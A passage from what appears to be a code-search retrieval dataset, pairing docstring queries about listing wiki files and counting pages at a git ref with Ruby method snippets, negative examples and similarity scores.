"0.6051264",
"0.6050528",
"0.60321736",
"0.6024087",
"0.599136",
"0.5987919",
"0.5981241",
"0.59799534",
"0.5968174",
"0.59631324",
"0.5953493",
"0.5951996"
] |
0.6636424
|
26
|
Public: Lists all nonpage files for this wiki.
|
def files(treeish = nil)
tree_list(treeish || @ref, false, true)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def listFiles()\n #N Without this the files won't get listed\n contentHost.listFiles(baseDir)\n end",
"def get_nondir_pages( directory )\n Dir[ File.join( directory, \"*/index.src\" ) ]\n end",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def no_extension_files(base_dir, wildcard, non_exts = [])\n list = []\n unless non_exts.empty?\n list = Dir.glob(File.join(base_dir, wildcard, \"{#{non_exts.join(',')}}\"))\n end\n list\n end",
"def excluded_files() = []",
"def page_files\n @page_files ||= (Dir.glob (Pathname.pwd.join(\"pages\", \"*.md\"))).sort\n end",
"def files_omit\n %w(map.html)\nend",
"def remove_hidden_files(list_of_files)\n\t\tresults = []\n\t\t\n\t\tlist_of_files.each do |file|\n\t\t\t# skip anything with a dot.\n\t\t\tif /^[.]+.*/ =~ file\n\t\t\t\tnext\n\t\t\telse\n\t\t\t\tresults.push file\n\t\t\tend\n\t\tend\n\t\t\n\t\tresults\n\tend",
"def find_files_not(sort)\n files = []\n Find.find(sort) do |path|\n next if File.directory? path\n next if File.basename(path) =~ /^\\./\n next if (tv_file File.basename(path))\n files << path\n end\n files\nend",
"def display_files(pathname)\n # `find` doesn't follow symlinks, so we should instead\n realpath = ArduinoCI::Host.symlink?(pathname) ? ArduinoCI::Host.readlink(pathname) : pathname\n\n # suppress directories and dotfile-based things\n all_files = realpath.find.select(&:file?)\n non_hidden = all_files.reject { |path| file_is_hidden_somewhere?(path) }\n\n # print files with an indent\n puts \" Files (excluding hidden files): #{non_hidden.size}\"\n non_hidden.each { |p| puts \" #{p}\" }\nend",
"def visible_files\n result = []\n for dir in @dirs\n result += visible_files_under(dir)\n end\n return result\n end",
"def documents_without_folder\n documents.unfolded\n end",
"def get_list_of_files\n\t\t@list_of_files = Dir.entries(@wallpaper_dir) \n\tend",
"def list_files\n fail('Requires implementation')\n end",
"def all_files; end",
"def all_files; end",
"def list_files\n [].tap do |files|\n remote_files do |file|\n files << file\n end\n end\n end",
"def list_files( dir = directory )\n Dir.entries(directory).tap do |files|\n files.delete('.')\n files.delete('..')\n end\n end",
"def ignored_files\n all_files.select { |f| ignore_matcher.matched?(f) }\n end",
"def file_list tree_root=nil\n tree_root ||= self.tree_root\n file_list = []\n current_dir = tree_root\n visit_entries self.files do |type, name|\n case type\n when :directory\n current_dir = current_dir + \"/\" + name\n when :file\n file_list.push(current_dir + \"/\" + name)\n else\n throw \"BAD VISIT TYREE TYPE. #{type}\"\n end\n end\n file_list\n end",
"def all_files\n Dir.glob(\"#{template_path}/**/*\", File::FNM_DOTMATCH).reject{|path| File.directory?(path) }.sort\n end",
"def index\n @nthfiles = Nthfile.all\n end",
"def file_list\n end",
"def list\n @documentations = Documentation.not_article.order('created_at DESC')\n end",
"def files\n FileList.new(`#@native.files`)\n end",
"def tracked_files\n all_files.reject { |f| ignore_matcher.matched?(f) }\n end",
"def blacklisted_dir_entries\n %w[. ..]\n end",
"def get_unknown_files\n\t\t\tlist = read_command_output( 'hg', 'status', '-un', '--color', 'never' )\n\t\t\tlist = list.split( /\\n/ )\n\n\t\t\ttrace \"New files: %p\" % [ list ]\n\t\t\treturn list\n\t\tend",
"def list_files_in_directory dir\n files = Dir.glob File.join(dir, \"*\")\n\n normalized_file_list files, false, @options.exclude\n end",
"def list_files\n files = remote_directory.files.map { |file| file.key }\n\n # The first item in the array is only the path an can be discarded.\n files = files.slice(1, files.length - 1) || []\n\n files\n .map { |file| Pathname.new(file).basename.to_s }\n .sort\n .reverse\n end",
"def file_list\n @file_list\n end",
"def all_files\n parse!\n @all_files\n end",
"def find\n list = Dir.glob(File.join(@pages_folder, '**/*'))\n list.map! { |name| name.gsub(@pages_folder + '/', '')}\n list.map { |name| name.force_html_extension }\n end",
"def index\n @home_page_files = HomePageFile.all\n end",
"def list(*extensions)\n all_files.keep_if do |filename|\n extensions.include?(Pathname.new(filename).extname)\n end\n all_files.reject! { |file| excluded_file?(file) }\n all_files\n end",
"def filtered(files); end",
"def index\n # Fetches space files.\n respond_with_space_files && return if params[:space_id]\n\n # Fetches all user 'private' files.\n filter_tags = params.dig(:filters, :tags)\n\n files = UserFile.\n real_files.\n editable_by(@context).\n accessible_by_private.\n where.not(parent_type: [\"Comparison\", nil]).\n includes(:taggings).\n eager_load(user: :org).\n search_by_tags(filter_tags)\n\n return render(plain: files.size) if show_count\n\n files = files.where(parent_folder_id: @parent_folder_id)\n files = FileService::FilesFilter.call(files, params[:filters])\n\n folders = private_folders(@parent_folder_id).includes(:taggings).\n eager_load(user: :org).search_by_tags(filter_tags)\n folders = FileService::FilesFilter.call(folders, params[:filters])\n\n user_files = Node.eager_load(user: :org).where(id: (files + folders).map(&:id)).\n order(order_params).page(page_from_params).per(page_size)\n page_dict = pagination_dict(user_files)\n\n render json: user_files, root: \"files\", adapter: :json,\n meta: files_meta.\n merge(count(UserFile.private_count(@context.user))).\n merge({ pagination: page_dict })\n end",
"def files\n @files ||= Dir.glob(File.join(@root, '**/*'), GLOB_FLAGS).select do |path|\n File.file?(path) && path !~ IGNORE_REGEX\n end\n end",
"def create_list_of_files\n @path=find_repository_and_basepath\n @table.window.setTitle(@path)\n files=[]\n Find.find(@path) do |file|\n # we don't want any files from a repository in the list \n next if file=~/(\\.hg|\\.svn|\\.git|\\.pyc)/ \n\n # neither do we want dotfiles in the list\n next if File.basename(file)=~/^\\./ \n \n # file matches, add it to the resulting list\n files << file if FileTest.file?(file)\n\n # wir bauen hier mal einen kleinen Idiotentest ein. Wenn wir mehr\n # als 10000 Dateien gefunden haben dann sind wir vermtl. in einem \n # falschen Verzeichniss und brechen die Suche ab.\n if files.length>10000\n NSRunInformationalAlertPanel('Large directory found!',\n \"Gathered more than 10k files from directory '#{@path}', aborting search!\",'OK',nil,nil)\n NSApp.stop(self)\n raise 'error'\n end\n end\n #@files=files.sort_by { |match| File.basename(match) }\n @files=files.sort\n end",
"def index\n @wx_files = File.all\n end",
"def unprocessed_files\n Dir.glob(@data_location + '/*.jl').sort\n end",
"def no_thumbnail_extensions\n [\".xml\", \".pdf\"]\n end",
"def list\n Dir.glob(\"#{@path}/**/*\").select{|path| File.file?(path) }.map do |path|\n path.sub Regexp.new(\"^#{@path}\\/\"), ''\n end\n end",
"def all\n Dir.chdir(content_dir) do\n files = Dir.glob(File.join(\"**\", \"*#{SOURCE_FILE_EXT}\")).delete_if {|p| p =~ Regexp.new(\"\\\\.[0-9]+\\\\#{SOURCE_FILE_EXT}$\")}\n files.collect {|f| Page.new(uri_from_path(f), File.open(f, 'r') {|b| b.read})}\n end\n end",
"def all\n @files\n end",
"def files\n i = 0\n @@arr_path.each do |path|\n if path.include?(params[:fold])\n # Remove path from current path\n @@arr_path = @@arr_path[0..i]\n @path = ''\n\n @@arr_path.each do |e| # Put path from array to @path\n @path = @path + e + ' >> '\n end\n @@temp_path = @path\n\n # Get content: folders, file, count\n @content = BrowsingFile.bind_folder params[:fold]\n @file = BrowsingFile.bind_files params[:fold]\n\n render 'index' # Reload index page\n return\n end\n i += 1\n end\n end",
"def files\n @files ||= []\n end",
"def files\n @files = Dir[File.join(root(:site), '**', '*')].inject([]) do |a, match|\n # Make sure its the canonical name\n path = File.expand_path(match)\n file = path.gsub /^#{Regexp.escape root(:site)}\\/?/, ''\n ext = File.extname(file)[1..-1]\n \n if ignored_files.include?(path) or File.directory?(match)\n # pass\n elsif not get_renderer(ext).nil? # Has a renderer associated\n fname = file.chomp(\".#{ext}\")\n fname += get_renderer(ext).default_ext unless File.basename(fname).include?('.')\n a << fname\n else\n a << file\n end\n a\n end\n end",
"def file_list(path='.', include_hidden=false)\n if include_hidden\n Timeout::timeout(@@ftp_timeout) { ftp.nlst(File.join(self.remote_storage_dir, path)) }\n else\n Timeout::timeout(@@ftp_timeout) { ftp.nlst(File.join(self.remote_storage_dir, path)).reject{ |f| f=~ /^\\./ } }\n end\n rescue Net::FTPPermError => nftpe\n return path =~ /\\.#{Recording.mime_ext}$/ ? nil : []\n end",
"def index\n @file_folders = FileFolder.all\n end",
"def list_of_directories\n Dir.entries(\"./inspections\").select {|d| !d.start_with?(\".\") }\n end",
"def get_file_listing\n execute!(drive.files.list).data\n end",
"def index\n @wikifiles = Wikifile.all\n end",
"def files\n @@files_array = Dir.entries(self.path).select {|f| !File.directory? f}\n end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def extension_whitelist\n %w(pdf doc docx)\n end",
"def files\n file = Dir[self.path + \"/*\"]\n file.each do |file_name|\n file_name.slice!(self.path + \"/\")\n end\n file\n end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def extension_white_list\n %w(pdf doc docx xls xlsx)\n end",
"def empty\n files.each { |filename, data| open(filename) if data[:safe] }\n end",
"def file_list(dir, opts={})\r\n\topts={:recursive => false, :exclude => []}.merge(opts)\r\n\tf = []\r\n\tDir.glob(File.join(dir,\"*\")).each do | file |\r\n\t\tif File.file?(file) then\r\n\t\t\tnext if opts[:exclude].include? file\r\n\t\t\tf << file\r\n\t\telse\r\n\t\t\tf << file_list(file) if opts[:recursive] && File.directory?(file)\r\n\t\tend\r\n\tend\r\n\treturn f\r\nend",
"def filter_nonexistent(modified_files); end",
"def list\n files_mask = \"*.xml\"\n if current_user.role != \"admin\"\n files_mask = \"#{current_user.fileprefix}-*.xml\"\n end\n pending_path = ENV[\"EAD_XML_PENDING_FILES_PATH\"] + \"/#{files_mask}\"\n Rails.logger.info(\"Loading pending files at #{pending_path}\")\n\n file_list = []\n Dir[pending_path].each do |file|\n file_info = {\n name: File.basename(file, \".xml\"),\n timestamp: File.mtime(file),\n display_date: File.mtime(file).strftime(\"%Y-%m-%d %I:%M %p\")\n }\n file_list << file_info\n end\n file_list.sort_by! {|x| x[:timestamp]}.reverse!\n\n @presenter = UploadPresenter.new()\n @presenter.configure(pending_path, file_list, current_user)\n render\n rescue => ex\n render_error(\"list\", ex, current_user)\n end",
"def nonlink_entries(dirname=mpwd)\n simple_entries(dirname).select {|e|\n ! File.symlink?(File.join(dirname,e))\n }\n end",
"def ls\n table Dir.entries( Dir.pwd ).reject { |f| f.match /^\\..*$/ }\n end",
"def file_names\n names = []\n frm.table(:class=>/listHier lines/, :text=>/Title/).rows.each do |row|\n next if row.td(:class=>\"specialLink\").exist? == false\n next if row.td(:class=>\"specialLink\").link(:title=>\"Folder\").exist?\n names << row.td(:class=>\"specialLink\").link(:href=>/access.content/, :index=>1).text\n end\n return names\n end",
"def obsolete_files; end",
"def files\n files = []\n Dir.new(self.path).each do |file|\n files << file if file.length > 4\n end\n files\n end",
"def filter_private_pages\n if @public_mode\n @site.pages.delete_if do |p|\n p.relative_path.start_with? '/pages/private'\n end\n end\n end",
"def remove_unimported_pages\n end",
"def index\n \n @docfiles = Docfile.all\n end",
"def all\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n files(-1)\n end",
"def files\n @files = Dir.entries(@path)\n @files.delete_if {|file| file == \".\" || file == \"..\"}\n end",
"def all_files_except_git\n Dir.glob('*', File::FNM_DOTMATCH).delete_if { |file| file =~ /\\A\\.{1,2}\\z|\\A\\.git\\z/ }\n end",
"def files\n return get_result('files')\n end",
"def files\n @files ||= FILE_RANGE.map(&:to_sym)\n end",
"def extension_white_list\n %w(\n jpg jpeg gif png\n pdf\n doc xls\n docx xlsx\n txt rtf\n )\n end",
"def list(path, show_all)\n begin\n unless (@cmd.model[:public] + path).directory?\n return false\n end\n\n (@cmd.model[:public] + path).entries.each_with_object([]) do |entry, list|\n if show_all or not(entry.basename.start_with?(\".\"))\n list << {\n \"name\" => entry.basename,\n \"type\" => entry.directory? ? \"dir\" : \"file\",\n \"mtime\" => entry.mtime.iso8601,\n \"size\" => entry.size\n }\n end\n end\n rescue => e\n return nil\n end\n end",
"def index\n #@user = User.find(receiver.id)\n if current_user.registry_officer?\n @nasfiles = Nasfile.all.paginate(:page => params[:page], :per_page => 30)\n else\n @nasfiles = Nasfile.where(\"office_id = ?\", current_user.office_id).paginate(:page => params[:page], :per_page => 10)\n end\n end",
"def index\n @item_not_includeds = ItemNotIncluded.all\n end",
"def index\n @other_files = OtherFile.all\n end",
"def read(files)\n files.map do |page|\n @unfiltered_content << Page.new(@site, @site.source, @dir, page)\n end\n @unfiltered_content.select { |page| site.publisher.publish?(page) }\n end",
"def extension_whitelist\n %w(doc docx rtf pdf xls xlsx csv zip)\n end",
"def index\n @documents = Document.not_templates.publicly_available\n render layout: \"layouts/public\"\n end",
"def files\n filenames || []\n end",
"def filter_invalid_files\n real_files=[]\n @files.each do |file|\n if @edit_in_place\n if File.writable?(file)\n real_files << file \n else\n puts \"ERROR: File #{file} is not writable, ignoring.\"\n end\n else\n if File.readable?(file)\n real_files << file \n else\n puts \"ERROR: File #{file} is not readable, ignoring.\"\n end\n end\n end\n @files=real_files\n end",
"def files\n result = []\n @my_files.each do |f|\n result << f.fname if FileTest.file?(f.fname)\n end\n result\n end",
"def extension_white_list\n %w(jpg jpeg gif png pdf doc docx txt mp3 xls xlsx)\n end",
"def excluded_files\n # TODO: also append files marked as %{exclude} (or handle elsewhere?)\n missing_files_for(upstream_gem)\n end",
"def list_files\n User.sync_files!(@context)\n files = user_real_files(params, @context)\n\n if unsafe_params[:limit] && unsafe_params[:offset]\n files = files.limit(unsafe_params[:limit]).offset(unsafe_params[:offset])\n end\n\n search_string = params[:search_string].presence || \"\"\n\n result = files.eager_load(:license, user: :org).\n where(\"nodes.name LIKE ?\", \"%#{search_string}%\").\n order(id: :desc).map do |file|\n describe_for_api(file, unsafe_params[:describe])\n end.compact\n\n render json: unsafe_params[:offset]&.zero? ? { objects: result, count: result.length } : result\n end",
"def list_files\n source_dir = Path.new(params[:source_dir])\n if params.has_key?(:show_catalogues)\n show_catalogues = params[:show_catalogues]\n else\n show_catalogues = false\n end\n if params[:ext].present?\n file_type = params[:ext]\n else\n file_type = nil\n end\n render json: source_dir.files(file_type: file_type, show_catalogues: show_catalogues)\n end",
"def white_list\n %w( doc pdf xls txt )\n end",
"def files()\n children.select { |c| c.file? }\n end"
] |
[
"0.6818177",
"0.63700503",
"0.59839934",
"0.59839934",
"0.594371",
"0.58771324",
"0.58592826",
"0.5854037",
"0.58142513",
"0.57826644",
"0.5746824",
"0.5738451",
"0.57139635",
"0.56885856",
"0.56885153",
"0.5636207",
"0.5636207",
"0.56292725",
"0.5628431",
"0.56156456",
"0.5562582",
"0.54832506",
"0.54579365",
"0.54546374",
"0.54530656",
"0.54442763",
"0.5441384",
"0.5412424",
"0.54102516",
"0.5409922",
"0.5387407",
"0.5385386",
"0.5353237",
"0.5351755",
"0.53416896",
"0.53185743",
"0.5316858",
"0.5310859",
"0.52979577",
"0.5296887",
"0.529579",
"0.5292704",
"0.52857107",
"0.527231",
"0.5268718",
"0.5263511",
"0.52545726",
"0.5249348",
"0.5247443",
"0.52408475",
"0.5239242",
"0.52375704",
"0.52323276",
"0.522911",
"0.5224519",
"0.5224315",
"0.5224315",
"0.5224315",
"0.5224315",
"0.5224315",
"0.5224315",
"0.5206529",
"0.5202094",
"0.51953304",
"0.51937425",
"0.51899654",
"0.5188991",
"0.5188609",
"0.51885784",
"0.5187111",
"0.517788",
"0.5173306",
"0.51717865",
"0.5157487",
"0.51562953",
"0.5156084",
"0.51544034",
"0.5143726",
"0.51353437",
"0.51277936",
"0.5111971",
"0.5100648",
"0.50993836",
"0.5099233",
"0.5092749",
"0.50913393",
"0.50886464",
"0.5087264",
"0.5086937",
"0.5082328",
"0.50745106",
"0.50712216",
"0.5063927",
"0.506044",
"0.50570726",
"0.50568944",
"0.50555366",
"0.5054828",
"0.50461525",
"0.5045956"
] |
0.57600594
|
10
|
Public: Returns the number of pages accessible from a commit ref A String ref that is either a commit SHA or references one. Returns a Fixnum
|
def size(ref = nil)
tree_map_for(ref || @ref).inject(0) do |num, entry|
num + (::Gollum::Page.valid_page_name?(entry.name) ? 1 : 0)
end
rescue Gollum::Git::NoSuchShaFound
0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def size(ref = nil)\n tree_map_for(ref || 'master').inject(0) do |num, entry|\n num + (@page_class.valid_page_name?(entry.name) ? 1 : 0)\n end\n rescue Grit::GitRuby::Repository::NoSuchShaFound\n 0\n end",
"def commits_count\n walker = Rugged::Walker.new(@repo.to_rugged)\n walker.push(@ref.target)\n walker.count\n end",
"def get_total_repo_pages_count\n get_url( \"#{ GITHUB_USER_REPOS_URL }?per_page=100\" ) do |response|\n link = response.meta[ 'link' ]\n no_quotes = link.gsub( /\\\"/, '' )\n captures = no_quotes.match( /page=(\\d+)\\>\\; rel=last/ ).captures\n\n return captures[0]\n end\nend",
"def page_count\n bib_page_count\n end",
"def ref_count(node)\n @references.fetch(node, 0)\n end",
"def num_references\n return @num_references unless @num_references.nil?\n @num_references = ((num_references_m1 + 1) % 65536)\n @num_references\n end",
"def wiki_pages\n wiki_link = document.at_css('a[highlight=\"repo_wiki\"] .counter')\n return nil unless wiki_link\n wiki_link.text[/\\d+/].to_i\n end",
"def page_count(doc)\n doc.at_css('.pagination') && doc.at_css('.pagination')\n .css('b')\n .map(&:text)\n .map(&:to_i)\n .max\n end",
"def page_count(input)\n info = info(input)\n return nil if info.nil?\n info['Pages'].to_i\n end",
"def get_page_count(response)\n page_links = response.headers['link'].scan(/<(\\S+)>/).flatten\n /\\?page\\=(\\d+)\\&/.match(page_links.last)[1].to_i\n end",
"def page_count(arg)\n @pages = arg\n end",
"def load_ref_commits(ref)\n commits = []\n page = 1\n begin\n loop do\n commits += Octokit.commits(@path, ref, :page => page)\n page += 1\n end\n rescue Octokit::NotFound, Faraday::Error::ResourceNotFound\n end\n commits\n end",
"def num_pages\n n, rest = @num_entries.divmod(@entries_per_page)\n if rest > 0 then n + 1 else n end\n end",
"def count_commits(repo)\n walker = Rugged::Walker.new(repo)\n walker.push(repo.head.target_id)\n return walker.count\nend",
"def get_links_count page_number\n begin\n \n if @filename == ''\n raise 'filename not specified'\n end\n \n if page_number == ''\n raise 'page number not specified'\n end\n \n \n str_uri = $product_uri + '/pdf/' + @filename + '/pages/' + page_number.to_s + '/links'\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri) \n response_stream = RestClient.get(str_signed_uri, {:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n return stream_hash['Links']['List'].length\n \n \n rescue Exception=>e\n print e\n end\n end",
"def page_count; pages.count; end",
"def pages(board)\n get(board, 1)[:pages].size\n end",
"def number_of_internal_links_to_page(link)\n @ilps[link]\n end",
"def getNumberOfPages(doc)\n numberOfPages = 1\n\n doc.search(\"Document > View > ScrollView > VBoxView > View > MatrixView > VBoxView:nth(0) > HBoxView > TextView > SetFontStyle > b\").each do |e|\n # Parse the last number in the string, e.g. the 99 in \"Page 3 of 99\"\n numberOfPages = e.inner_html[/[0-9]+$/].to_i\n end\n\n return numberOfPages\nend",
"def num_pages \n if source_record['300'] && (source_record['300']['a'] =~ /(\\d{1,6}) ?pp?(?:[\\. ]|\\Z)(?!.*\\d+ pp?(?:[\\. ]|\\Z))/)\n return $1\n end\n\n return nil\n end",
"def index\n if params[:ref_name]\n if ref = @repository.branches.where(name: params[:ref_name]).first\n @branch = ref\n elsif ref = @repository.tags.where(name: params[:ref_name]).first!\n @tag = ref\n end\n else\n @branch = ref = @repository.default_branch\n end\n\n commits_page = (params[:page] || 1).to_i\n commits_page = 1 if commits_page < 1\n parent_commits = ref.commit.walk_parents((commits_page - 1) * 20, 21)\n @commits = parent_commits[0, 20]\n\n @next_page = parent_commits[20] ? commits_page + 1 : nil\n @previous_page = (commits_page > 1) ? commits_page - 1 : nil\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @commits }\n end\n end",
"def count\n `git rev-list HEAD --count`.presence.to_i\n rescue\n nil\n end",
"def page_num_getter\n\t\t##Nokogiri\n\t\t# doc = Nokogiri::HTML(open(@page_name))\n\t\t# puts doc.css('result custom-right-inner')\n\t\t##Mechanize\n\t\t##new agent\n\t\t@agent = Mechanize.new\n\t\tstr = @agent.get(@page_name).search('span.custom-right-inner')[0].text\n\t\t@total_page = str.scan(/\\d+/)[0].to_i\n\tend",
"def extract_total_pages\n pag = setup.fetch_page.css('.Ver12C')[70].text\n pag.scan(/\\d+/)[2].to_i\n end",
"def num_pages\n 26\n end",
"def actual_page_count\n warn \"WARNING: actual_page_count is not yet implemented properly.\"\n warn \" Please send patches.\"\n @pages.count\n end",
"def num_commits(lines)\n numCommits = 0\n lines.each{ |line| numCommits += 1 if line.start_with?(\"commit \") }\n return numCommits\nend",
"def num_commits(lines)\n i = 0\n\tlines.each{|line| \n\t\tif line.include? \"commit\"\n\t\t\ti += 1\n\t\tend\n\t}\n\treturn i\nend",
"def num_pages(url)\n url = ensure_max_per_page(url)\n data = api_request_raw(url)\n\n if data.nil? or data.meta.nil? or data.meta['link'].nil?\n return 1\n end\n\n links = parse_links(data.meta['link'])\n\n if links.nil? or links['last'].nil?\n return 1\n end\n\n params = CGI::parse(URI::parse(links['last']).query)\n params['page'][0].to_i\n end",
"def num_commits(lines)\n num = 0 \n lines.each { |line|\n words = line.split\n if words[0] == \"commit\" then num+= 1 end\n }\n num\nend",
"def num_pages\n if order_bw_pages && order_color_pages\n return 2 + order_bw_pages + order_color_pages\n end\n end",
"def get_page_count( rb, tagged )\n\n verbose( \"Getting #{$params[ :product ]} page count...\" )\n verbose( \"Only looking for #{$params[ :product ]} tagged with \\\"#{tagged}\\\"\" ) if tagged \n\n # Download the first page of art and grab the body.\n page = grab_art_page( rb, tagged, 1 )\n\n # Find the number of the last page of art.\n last = page.elements.to_a( \"//li[@class='page-link']/a\" ).last\n\n # If we managed to get that...\n if last then\n # ...return it as a number.\n verbose( \"Done (max page is #{last.text.to_i}).\" )\n last.text.to_i\n else\n # ...or, if we didn't, moan...\n $stderr.puts \"Could not find maximum page number. Assuming just one page.\"\n # ...and assime it's a single page.\n 1\n end\n \nend",
"def total_pages; end",
"def total_pages\n pages.size\n end",
"def nbpages\n attachments.order(position: 'asc').first.nbpages\n rescue StandardError => exc\n logger.error(\"Message for the log file #{exc.message}\")\n 0\n end",
"def page_count\n @page_counter\n end",
"def pageCount(book, page)\n return 0 if book == page || page == 1\n diff1 = page / 2\n diff2 = ((book - page) / 2) + ((book - page) == 1 && book.even? ? 1 : 0)\n diff1 < diff2 ? diff1 : diff2\nend",
"def get_number_of_pages(numrec)\n return ((numrec + 50) / 50 * 50) / 50\nend",
"def count_link_of_one_page(page)\n perform_search_for_single_page('//a', [], page)\n end",
"def page_count\n @pages.count\n end",
"def get_total_pages(page)\n\t\t\tsource = getHtml(page).split(\";\")\n\t\t\ttotal_pages = 0 \n\t\t\tsource.each do |pos|\n\t\t\t\tif pos.include? \"total_pages\" \n\t\t\t\t\treturn pos[pos.index(\"=\") + 1, pos.length].to_i \n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def max_page(doc)\n last_page_link = doc.css(\"span.pagelinks a\").last['href']\n Integer(last_page_link[/p=(\\d+)&/,1])\nend",
"def max_page(doc)\n last_page_link = doc.css(\"span.pagelinks a\").last['href']\n Integer(last_page_link[/p=(\\d+)&/,1])\nend",
"def pagination_size(headers)\n if headers.key?('link')\n links = headers.fetch('link') \\\n .scan(/<(.*?)>/).flatten\n\n links.last.split('=').last.to_i\n else\n 1\n end\n end",
"def page_count\n @total_pages\n end",
"def page_count\n (unpaged_count.to_f / @entries_per_page).ceil\n end",
"def size\n @references.count do |_, ref|\n ref.object\n end\n end",
"def num_pages\n (except(:offset, :limit).count.to_f / limit_value).ceil\n end",
"def calculate_pages(client, method, request_options)\n # Makes the first API call so that we can call last_response\n check_github_response do\n client.send(method, user_project, DEFAULT_REQUEST_OPTIONS.merge(request_options))\n end\n\n last_response = client.last_response\n\n if (last_pg = last_response.rels[:last])\n querystring_as_hash(last_pg.href)[\"page\"].to_i\n else\n 1\n end\n end",
"def ref\n @references += 1\n end",
"def get_bookmarks_count\n begin\n \n if @filename == ''\n raise 'filename not specified'\n end\n \n \n str_uri = $product_uri + '/pdf/' + @filename + '/bookmarks'\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri) \n response_stream = RestClient.get(str_signed_uri, {:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n return stream_hash['Bookmarks']['List'].length\n \n \n rescue Exception=>e\n print e\n end\n end",
"def rev_parse # :nodoc:\n hash = nil\n\n Dir.chdir repo_cache_dir do\n hash = Gem::Util.popen(@git, 'rev-parse', @reference).strip\n end\n\n raise Gem::Exception,\n \"unable to find reference #{@reference} in #{@repository}\" unless\n $?.success?\n\n hash\n end",
"def nonadword_count_total(page)\n\t\tnonadword_urls(page).length\n\tend",
"def show_total_pages\n pages = show_total_hits / show_results_per_page\n return pages + 1\n end",
"def commit_ref(ref, repo_param)\n ref_class = ref.class.to_s.split(\"::\")[1].to_s\n \"<a class=\\\"ref #{ref_class}\\\" href=\\\"\" + prefix_url(\"#{repo_param}/#{ref.name}\") + \"\\\">#{ref.name}</a>\"\n end",
"def calc_total(repo, repo_info)\n begin\n number_of_items_in_first_page = @client.send(repo_info, repo).size\n repo_sum = 0\n if number_of_items_in_first_page >= 100\n links = @client.last_response.rels\n\n unless links.empty?\n last_page_url = links[:last].href\n\n /.*page=(?<page_num>\\d+)/ =~ last_page_url\n repo_sum += (page_num.to_i - 1) * 100 # we add the last page manually\n repo_sum += links[:last].get.data.size\n end\n else\n repo_sum += number_of_items_in_first_page\n end\n rescue Octokit::Forbidden\n # used in rare cases like torvalds/linux\n\n repo_sum = '∞'\n end\n\n repo_sum\n end",
"def total_pages\n -1\n end",
"def pull_requests\n pull_request_link = document.at_css('a[highlight=\"repo_pulls\"] .counter')\n return nil unless pull_request_link\n pull_request_link.text[/\\d+/].to_i\n end",
"def list_size_refs\n\treturn if authorise_for_web(program_name?,'read') == false \n\n \tif params[:page]!= nil \n\n \t\tsession[:size_refs_page] = params['page']\n\n\t\t render_list_size_refs\n\n\t\t return \n\telse\n\t\tsession[:size_refs_page] = nil\n\tend\n\n\tlist_query = \"@size_ref_pages = Paginator.new self, SizeRef.count, @@page_size,@current_page\n\t @size_refs = SizeRef.find(:all,\n\t\t\t\t :limit => @size_ref_pages.items_per_page,\n\t\t\t\t :offset => @size_ref_pages.current.offset)\"\n\tsession[:query] = list_query\n\trender_list_size_refs\nend",
"def getPageCount()\n return @helper.getPageCount()\n end",
"def getPageCount()\n return @helper.getPageCount()\n end",
"def getPageCount()\n return @helper.getPageCount()\n end",
"def getPageCount()\n return @helper.getPageCount()\n end",
"def for_docs\n commits.each do |commit|\n @count += 1 if doc_commit?(commit.message)\n end\n self\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n path = Dir.glob(\"#{@location}/**/#{image.filename}\").first\n count += %x[identify #{path}].split(image.filename).length-1 rescue nil #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n path = Dir.glob(\"#{@location}/**/#{image.filename}\").first\n count += %x[identify #{path}].split(image.filename).length-1 rescue nil #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
"def num_pages\n (@total_entries.to_i / per_page.to_f).ceil\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n path = Dir.glob(\"#{@location}/**/#{image.filename}\").first\n count += %x[identify \"#{path}\"].split(image.filename).length-1 #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
"def page_count\n file_groups\n @highest_page_count\n end",
"def num_commits(pr)\n q = <<-QUERY\n select count(*) as commit_count\n from pull_requests pr, pull_request_commits prc\n where pr.id = prc.pull_request_id\n and pr.id=?\n group by prc.pull_request_id\n QUERY\n db.fetch(q, pr[:id]).first[:commit_count]\n end",
"def number_of_pages\n document.at(\"[@itemprop='numberOfPages']\").innerHTML.scan(/\\d+/).first.to_i rescue nil\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n path = Dir.glob(\"#{@location}/**/#{image.filename}\").first\n count += %x[identify #{path}].split(image.filename).length-1 #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
